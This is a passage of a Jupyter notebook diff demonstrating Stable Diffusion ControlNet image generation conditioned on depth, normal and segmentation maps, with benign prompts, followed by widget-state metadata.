"image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2)\n", + "image_depth = Image.fromarray(image_depth)\n", + "\n", + "image_depth" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505, + "referenced_widgets": [ + "173d24393b854ad0a03fd02d56c7d037", + "a33e6193984b46d4bb9b4187d726009e", + "230461cc201f4535a9f9bcf7a3ae7669", + "4900e42f3bfa4a6096b16d47d38687dc", + "2112261a320b4b9297aa3edc85fa2316", + "1c65960b291c4d92bced5bca619e8256", + "194f16cb7fbb42a78d9237e4e6654b58", + "b87077da3f824478ac88369582d77e8e", + "6f9f95e2d503403f83be05364b4199cd", + "c39f69cd4e8b4bca8e95bda3b06a74f1", + "f8dbc4c64a0d440e9660b0d7ef083b5c" + ] + }, + "id": "zK5HpMNdpvgq", + "outputId": "2b2e889d-8920-404f-e8de-e2753caebf05" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"Darth Vader giving lecture\", image_depth, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505, + "referenced_widgets": [ + "083aa6ce3274445c830c4157dc9ea4be", + "be56ad8a63884a33a22bfb3b39da1cc0", + "83b4c17fa697445f86f7f034fe670934", + "c3dc31d7d2be42be88fe03fa33e5f20d", + "2c38cd148fe74a5897c3319be42b7d7e", + "c44f196498724b1b80b25bda832dc310", + "069b424c2d3846b8ba69a455dbda1f88", + "707ce79ce0da4f35ad6b8f636d2901f8", + "261aabd2415d43809b669b49f3899504", + "7427e45c55994a6fa304d6d58ffeb1fb", + "2df0162802aa488dbddb9a7376954865" + ] + }, + "id": "ulgn37vmrUS8", + "outputId": "aba588b6-5de1-44c5-8d96-79ac14a89f9a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine\", image_depth, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "-uc3OBwGryX9" + }, + "source": [ + "# Normal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "vZ8NidcHryYF" + }, + "outputs": [], + "source": [ + "from PIL import Image\n", + "from transformers import pipeline\n", + "import numpy as np\n", + "import cv2\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 214, + "referenced_widgets": [ + "f0ddc614bd9a40468c083db3a457e1c1", + "a27de7fc1bfa486f9ff8829d4d4198f6", + "47507d2cf4e04f2f927ee369c6d7b4d4", + "e11151541738459ba16b582a9edefd2c", + "33c23b5b6adf403dba45e9f8e64e37dc", + "a9a5528792504d12bf153d2b02fd3847", + "439ee7b8de924bf6ba5ee4ef22e0e659", + "b4e865be02fb4290849b676f4dd18ed0", + "87d4c1e6a2a047f887704f6b0a148d2e", + "b74532a8bd8e49f2a8286a1eed72a0d3", + "dd66e37aec9449de944edfa6dacdfc5f", + "57216de8dfcc4ab78bfb8c41fae856b4", + "c85b3e0dd20f414181d768cac5c9ab4e", + "53774d0251ea4e4a884fc265a5ce561b", + "30cdb95dd5d746b1adacaaf823b21b89", + "bfd0a68276654b4997b802bc6d47f684", + "dd81ef8c35384eadb1572400c775f789", + "de80e8cbbd25433c88267a1f997772e7", + "e116ebfa368d424ca64eea23a82ef959", + "2b92efb0492b4af6b50e2d5754212b5c", + "2fee0c2fcb3b4705ad4cc212d6138ec9", + "5f012cede7a0405fbb12550072bccbc2", + "a999af1084134026904611113b3feac6", + "814f29773b6b40d99d03320a3f5fe7d4", + "9f7e4357439944e392d0c9e93068c898", + "8e31c3cc06bd4e9b92c3b1e6d5a9d61f", + "9dc6d26cdb7945ffb31b2c381412a383", + "36de2037f4b841afb366f27a7eb08396", + "cb805d94485c4ff5a0aaec67e6cdb827", + "d923cb2715554512a7faf5b5d73a4ed8", + "4399ee6304e94797ac6f36318165d4cc", + "7c2b45b1cf2a485b93e52b2dee04a278", + "851c4973cb0c4fbe91536a09f006ad43", + "7d10f1e6258943dd86d9c75aa17553c8", + "193fa11998404439b90913f5f5b4619e", + "0383c8a7e3384eec9205dc8f37654ee4", + "4615b3c5ce674070840fbb7bcb54f262", + "b57f5b94be66435fab8e8aa9b877848c", + "8b7c3bcf27644ac09871f733662c4d8b", + "42cabc32ffc34ddd924fde45571ada38", + "58c63ae0605a4f1192c52e4306602fd7", + "55e0a986be424043846c0e863158a1bd", + "23a9e406e89041f8ab9a15eae4f9c61b", + "f18d3449a23c485a85e38f0ced810c99", + "1d4352761751419282c93eb85c0954c0", + "b84453116ba14690b8ae8a8e723f8510", + "6e14135b00e447c18a0a693d47f5c92b", + "9a540d6ed00a424da320fd7a12c31ac5", + "13f07d79c96146aaa1d7731526aaec29", + "b54312c4603b400b97884eba33ad1095", + "b93ed8d01dbd4e0a84ff01b2e15f68ec", + "8119e3c1840d4e0b975055cb0c255208", + "ad785ec6b7924f2ebcdf0957a16c656d", + "d44b6d406224497d9db5c903c6972323", + "d3010a25994f4f12b95922f2863f4f3b" + ] + }, + "id": "Rt4ecMkaryYG", + "outputId": "f8ab6e1a-2257-48bd-9fa6-c7fe19188404" + }, + "outputs": [], + "source": [ + "# load the Dense Prediction Transformer (DPT) model for getting normal maps\n", + "depth_estimator = pipeline(\"depth-estimation\", model =\"Intel/dpt-hybrid-midas\")\n", + "\n", + "# load the controlnet model for normal maps\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"fusing/stable-diffusion-v1-5-controlnet-normal\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "UoGdz3FkryYG" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "0WLxPD8fryYG", + "outputId": "d605305f-4c8e-40dd-e238-13131f64c961" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 401 + }, + "id": "Uqhw6NR4ryYG", + "outputId": "2f3c8930-541b-49d7-fb87-374972c078e5" + }, + "outputs": [], + "source": [ + "# do all the preprocessing to get the normal image\n", + "image = depth_estimator(image_input)['predicted_depth'][0]\n", + "\n", + "image = image.numpy()\n", + "\n", + "image_depth = image.copy()\n", + "image_depth -= np.min(image_depth)\n", + "image_depth /= np.max(image_depth)\n", + "\n", + "bg_threhold = 0.4\n", + "\n", + "x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3)\n", + "x[image_depth < bg_threhold] = 0\n", + "\n", + "y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3)\n", + "y[image_depth < bg_threhold] = 0\n", + "\n", + "z = np.ones_like(x) * np.pi * 2.0\n", + "\n", + "image = np.stack([x, y, z], axis=2)\n", + "image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5\n", + "image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8)\n", + "image_normal = Image.fromarray(image)\n", + "\n", + "image_normal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "7aed2e247f5e488991be8b97ab6bae6a", + "f8b042b72ea1403284bc45b55cbfcdcf", + "9dcbc2386e3c4d6e820fd6baed91f0df", + "67768915a19a448c94620204f861d005", + "a218d578aded48ba8acca854622c14a9", + "5cbe59686c0d475a8e2274ffcb64d992", + "3bf3dd9f53354c758187674b5b1eac19", + "a1ed5abc44e94c1ea19fa959fc95b91a", + "7669fb4960904becb83cbdc4169a121b", + "7699034aeb584f12864aaa30a7f2e6b5", + "0762e7a5efb84a4b9bf60c5cf3235671" + ] + }, + "id": "_BLefbf1ryYG", + "outputId": "be063e2c-4e78-4c1e-cbe3-98fd0dcdad72" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A colorful butterfly sitting on apples\", image_normal, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "ad63323795ae48679bb40de0056219d3", + "4cb413851dc3469a8ea04e40373b11de", + "21549aef7c6f4c64b8eb676c6dd105e2", + "7cd3b5a0ce274ae5b5954a3c7d9d3bb4", + "4a3a0d14e22f4a6e9dbb5fb35bc33e8d", + "8d2f2b219308442db07d23b057f8e7cf", + "7b9508943bee4f76b996ba561d4bbe9b", + "94cc8073f13f45b085e1f23d3d4bbbc9", + "cd502f2ef8814082979d147f08177ff6", + "f357992a28754d7689721ebda28f0b0f", + "2f8938d9a9254868869767a332bdf84f" + ] + }, + "id": "c-iOJPe1ryYH", + "outputId": "ee338887-1753-47f0-aed3-838749415d3a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A beautiful design\", image_normal, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "_zlU00SCzecq" + }, + "source": [ + "# Segmentation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iLEetydkzec_" + }, + "outputs": [], + "source": [ + "from transformers import AutoImageProcessor, UperNetForSemanticSegmentation\n", + "from PIL import Image\n", + "import numpy as np\n", + "import torch\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 214, + "referenced_widgets": [ + "cbbf80dd8dc9471197c49732ae4d08ee", + "0a8a88ac007a41e4b0096fb114fe8a47", + "d4c98d8a36eb4f769e23aa3f36535a0f", + "20f315f7aae840d19ee8a068c68ff63c", + "c420c12b2a76457c9ec7bb9db8eac9b3", + "e38139b6898e4897b67aac89ee982c7a", + "5e144bb789054a88a43db4329bb2df05", + "15de6a583c5e4525a559749577fd4331", + "4af5ce87c2a243238375d7edf93d08b2", + "56cc25e58ea3445f9135817143224d2c", + "6c6f19d716d2410b813e32f3b051619a", + "7f1b3b31059e4abbbe62bd88da98627d", + "0ee14dea902c4efe81c616f34dbc7562", + "e43b78d4e4844565ad39e979861285a8", + "9ba3483798e8439aab7d5560c1a5bac1", + "993b867eff394cfe843eb18ee194b8d6", + "b1659a9d5e294f9bbc1b20e892e16326", + "308c9dc88e034f4bbcb4ee24628694ba", + "0e38cf52fb3d40d5a87ec975499ef648", + "a37c136cb6c34c1ea5a66bd78c5750ae", + "60ebb0e8c1174c839a26182b38d4ae9b", + "f3be39d3186448afb9d851b9732df52b", + "7d9df7ed952144dfacc3d2908497ce94", + "7010861902ab409e9a4f65efad33683c", + "978ecf658d464bc999bc8a5c540e3ad0", + "198e8a1603fc40218d805d46da1cc603", + "ee7d2281e6964da8a3e610343a7de76d", + "c30088b9866c429fa513397b03d2e3c8", + "f48a988402a947a098ed14bfd0dc9a53", + "f0a064bb91524f01972e941a3bd7354d", + "7efd39ed94f94ecd9292069da0697a5f", + "54746d0ef2e7453faddcc3b6066def51", + "ff535db7c20f4719820b0b483a3a41ff", + "3282a8068816447285333083b4c8fe96", + "2c260ce7a89840e3857942d9294f9321", + "eba07e4598814b6cb22ba58d16587cf3", + "cfe9f9f05cb8493f804cd521a3e3c1c1", + "b3418378805c4029aa6e6b939ae3c84b", + "2cd604429546460d8e79a7ac4980d4cd", + "1cf1b7e84b744edf907f94aa3d1983bc", + "ab44913ac7c44a0f89a963fddf9dba39", + "c9678e8106544428a9f155e2da9f2693", + "15ce5867e9ba470b94f0408cfa8236ad", + "ee848051813f401c958c169f8b77a323", + "71ee3795a28a4776bdb13f68f11ffaaa", + "af113f9b9b1749f0a856b3f371f03a2d", + "83cb84140f504cdaa6d5ed308baaa9bf", + "f81e6ba8c0ee4d19afc1691be3650a94", + "8bc53de7028e4a05bc683a6f47548d62", + "72fc016402374ad996a292470fa75906", + "4ec20db88a97441982a914517888a8b4", + "75837fa1f8ed4a7b8734f0c49e3bb6d0", + "527478832a8e451ea056c50ee2b241ab", + "e1877e0c82a1464597250ef0572d2679", + "3005ddef183645cbb3039da2a621ebf4" + ] + }, + "id": "BRZqE7YLzedA", + "outputId": "b9f4d2e9-2667-4992-f3d5-f574108640ec" + }, + "outputs": [], + "source": [ + "# load the image processor and the model for doing segmentation\n", + "image_processor = AutoImageProcessor.from_pretrained(\"openmmlab/upernet-convnext-small\")\n", + "image_segmentor = UperNetForSemanticSegmentation.from_pretrained(\"openmmlab/upernet-convnext-small\")\n", + "\n", + "# load the controlnet model for semantic segmentation\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-seg\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ZzEaHeM2zedA" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "3kZI0eD2zkfm" + }, + "outputs": [], + "source": [ + "# define color palette that is used by the semantic segmentation models\n", + "\n", + "palette = np.asarray([\n", + " [0, 0, 0],\n", + " [120, 120, 120],\n", + " [180, 120, 120],\n", + " [6, 230, 230],\n", + " [80, 50, 50],\n", + " [4, 200, 3],\n", + " [120, 120, 80],\n", + " [140, 140, 140],\n", + " [204, 5, 255],\n", + " [230, 230, 230],\n", + " [4, 250, 7],\n", + " [224, 5, 255],\n", + " [235, 255, 7],\n", + " [150, 5, 61],\n", + " [120, 120, 70],\n", + " [8, 255, 51],\n", + " [255, 6, 82],\n", + " [143, 255, 140],\n", + " [204, 255, 4],\n", + " [255, 51, 7],\n", + " [204, 70, 3],\n", + " [0, 102, 200],\n", + " [61, 230, 250],\n", + " [255, 6, 51],\n", + " [11, 102, 255],\n", + " [255, 7, 71],\n", + " [255, 9, 224],\n", + " [9, 7, 230],\n", + " [220, 220, 220],\n", + " [255, 9, 92],\n", + " [112, 9, 255],\n", + " [8, 255, 214],\n", + " [7, 255, 224],\n", + " [255, 184, 6],\n", + " [10, 255, 71],\n", + " [255, 41, 10],\n", + " [7, 255, 255],\n", + " [224, 255, 8],\n", + " [102, 8, 255],\n", + " [255, 61, 6],\n", + " [255, 194, 7],\n", + " [255, 122, 8],\n", + " [0, 255, 20],\n", + " [255, 8, 41],\n", + " [255, 5, 153],\n", + " [6, 51, 255],\n", + " [235, 12, 255],\n", + " [160, 150, 20],\n", + " [0, 163, 255],\n", + " [140, 140, 140],\n", + " [250, 10, 15],\n", + " [20, 255, 0],\n", + " [31, 255, 0],\n", + " [255, 31, 0],\n", + " [255, 224, 0],\n", + " [153, 255, 0],\n", + " [0, 0, 255],\n", + " [255, 71, 0],\n", + " [0, 235, 255],\n", + " [0, 173, 255],\n", + " [31, 0, 255],\n", + " [11, 200, 200],\n", + " [255, 82, 0],\n", + " [0, 255, 245],\n", + " [0, 61, 255],\n", + " [0, 255, 112],\n", + " [0, 255, 133],\n", + " [255, 0, 0],\n", + " [255, 163, 0],\n", + " [255, 102, 0],\n", + " [194, 255, 0],\n", + " [0, 143, 255],\n", + " [51, 255, 0],\n", + " [0, 82, 255],\n", + " [0, 255, 41],\n", + " [0, 255, 173],\n", + " [10, 0, 255],\n", + " [173, 255, 0],\n", + " [0, 255, 153],\n", + " [255, 92, 0],\n", + " [255, 0, 255],\n", + " [255, 0, 245],\n", + " [255, 0, 102],\n", + " [255, 173, 0],\n", + " [255, 0, 20],\n", + " [255, 184, 184],\n", + " [0, 31, 255],\n", + " [0, 255, 61],\n", + " [0, 71, 255],\n", + " [255, 0, 204],\n", + " [0, 255, 194],\n", + " [0, 255, 82],\n", + " [0, 10, 255],\n", + " [0, 112, 255],\n", + " [51, 0, 255],\n", + " [0, 194, 255],\n", + " [0, 122, 255],\n", + " [0, 255, 163],\n", + " [255, 153, 0],\n", + " [0, 255, 10],\n", + " [255, 112, 0],\n", + " [143, 255, 0],\n", + " [82, 0, 255],\n", + " [163, 255, 0],\n", + " [255, 235, 0],\n", + " [8, 184, 170],\n", + " [133, 0, 255],\n", + " [0, 255, 92],\n", + " [184, 0, 255],\n", + " [255, 0, 31],\n", + " [0, 184, 255],\n", + " [0, 214, 255],\n", + " [255, 0, 112],\n", + " [92, 255, 0],\n", + " [0, 224, 255],\n", + " [112, 224, 255],\n", + " [70, 184, 160],\n", + " [163, 0, 255],\n", + " [153, 0, 255],\n", + " [71, 255, 0],\n", + " [255, 0, 163],\n", + " [255, 204, 0],\n", + " [255, 0, 143],\n", + " [0, 255, 235],\n", + " [133, 255, 0],\n", + " [255, 0, 235],\n", + " [245, 0, 255],\n", + " [255, 0, 122],\n", + " [255, 245, 0],\n", + " [10, 190, 212],\n", + " [214, 255, 0],\n", + " [0, 204, 255],\n", + " [20, 0, 255],\n", + " [255, 255, 0],\n", + " [0, 153, 255],\n", + " [0, 41, 255],\n", + " [0, 255, 204],\n", + " [41, 0, 255],\n", + " [41, 255, 0],\n", + " [173, 0, 255],\n", + " [0, 245, 255],\n", + " [71, 0, 255],\n", + " [122, 0, 255],\n", + " [0, 255, 184],\n", + " [0, 92, 255],\n", + " [184, 255, 0],\n", + " [0, 133, 255],\n", + " [255, 214, 0],\n", + " [25, 194, 194],\n", + " [102, 255, 0],\n", + " [92, 0, 255],\n", + "])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "GjsCwREqzedB", + "outputId": "6ac8fcaf-a89b-4bef-bd9b-31fd753568d7" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "qK5gkfCIzedB", + "outputId": "71e92874-04d1-459a-8cc6-89bc31796b2f" + }, + "outputs": [], + "source": [ + "# get the pixel values\n", + "pixel_values = image_processor(image_input, return_tensors=\"pt\").pixel_values\n", + "\n", + "# do semantic segmentation\n", + "with torch.no_grad():\n", + " outputs = image_segmentor(pixel_values)\n", + "\n", + "# post process the semantic segmentation\n", + "seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0]\n", + "\n", + "# add colors to the different identified classes\n", + "color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3\n", + "for label, color in enumerate(palette):\n", + " color_seg[seg == label, :] = color\n", + "\n", + "# convert into PIL image format\n", + "color_seg = color_seg.astype(np.uint8)\n", + "image_seg = Image.fromarray(color_seg)\n", + "\n", + "image_seg" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 897, + "referenced_widgets": [ + "09441b43551f4e5f9ff77512f59d2f9e", + "955af4f359254125801ec776793397e7", + "27f8dc0ef76448be90b004529fa562cf", + "a3f598a48fa448dbb44a40c8c7af85e6", + "6c353682d9d64022a11f31357816f14d", + "8c0d69533b674629b69a64345fc4d67e", + "f2241131e8d54c1f9e8976b94b46bc67", + "0120420c938f4e588ac496f37bcc42eb", + "89a159fc68ef4972a0368c72306cd8c4", + "c8ce8fd6e04e416381d892fbf75a0b75", + "8d62ab081ff94e7abe3cc911d3376bbd" + ] + }, + "id": "z0eWMTU0zedB", + "outputId": "9502f927-18cb-4baa-dc24-9c18ec4ce150" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A crowd of people staring at a glorious painting\", image_seg, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 897, + "referenced_widgets": [ + "312f1ce28d144f8e828d5d33c0783a58", + "36aae82533a5470abfa287df328448fc", + "7afd5032c0964fc5823189e2fc8599ed", + "944390d866cf430fbd562fca7781a9d9", + "66f7c6f267864c929727fd96a83e6d06", + "2e3313ac79794a18a38a6b98c0f4f28a", + "77ad5edb54bb4e30bdd82186e80367c8", + "c9311122d93c495faa2a8e0f4b8f7662", + "58657e2570434d73be122eafb42f490a", + "ef977ff25ba842c9a0475befc7b47b89", + "c8da6be1960c4f89a18d49205cbaa0df" + ] + }, + "id": "LbWbrzpszedB", + "outputId": "4bdd8997-e047-4fbb-ef58-6162ad40a4be" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth\", image_seg, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kXmBKD8G7WRU" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [ + "h6XPbq0FrPQG", + "HEiobo68Kzso", + "fwnnyHq3oi7O", + "-o-9jxdtpvgi", + "-uc3OBwGryX9" + ], + "gpuType": "T4", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0120420c938f4e588ac496f37bcc42eb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "014e701444c54eee97d0b36ea38344ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "01fc82bb9bb84c628890b9a2349a6e6e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02648abd8847434496722b0c5bb69858": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02f92b3266a54cc1885140f1a378d784": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02fe761302934b54960a8289d627d16c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2db8827ffa344a4a8ac5487ff2997ae0", + "IPY_MODEL_c25de7e0bae0469d918bd6d3ea39211b", + "IPY_MODEL_2b5e8dcb60ee4f65af5505ffa7ea3ae2" + ], + "layout": "IPY_MODEL_9b27785afb0243f5b2298cb272c510e2" + } + }, + "032471548f5c45ed89d8a62db800c7fc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_01fc82bb9bb84c628890b9a2349a6e6e", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f66573653707458f80b29a40e1193d31", + "value": 20 + } + }, + "03264d2988b849369f26e62a0a010d51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "036af165dae748a19a3691dbe74e7a1a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + 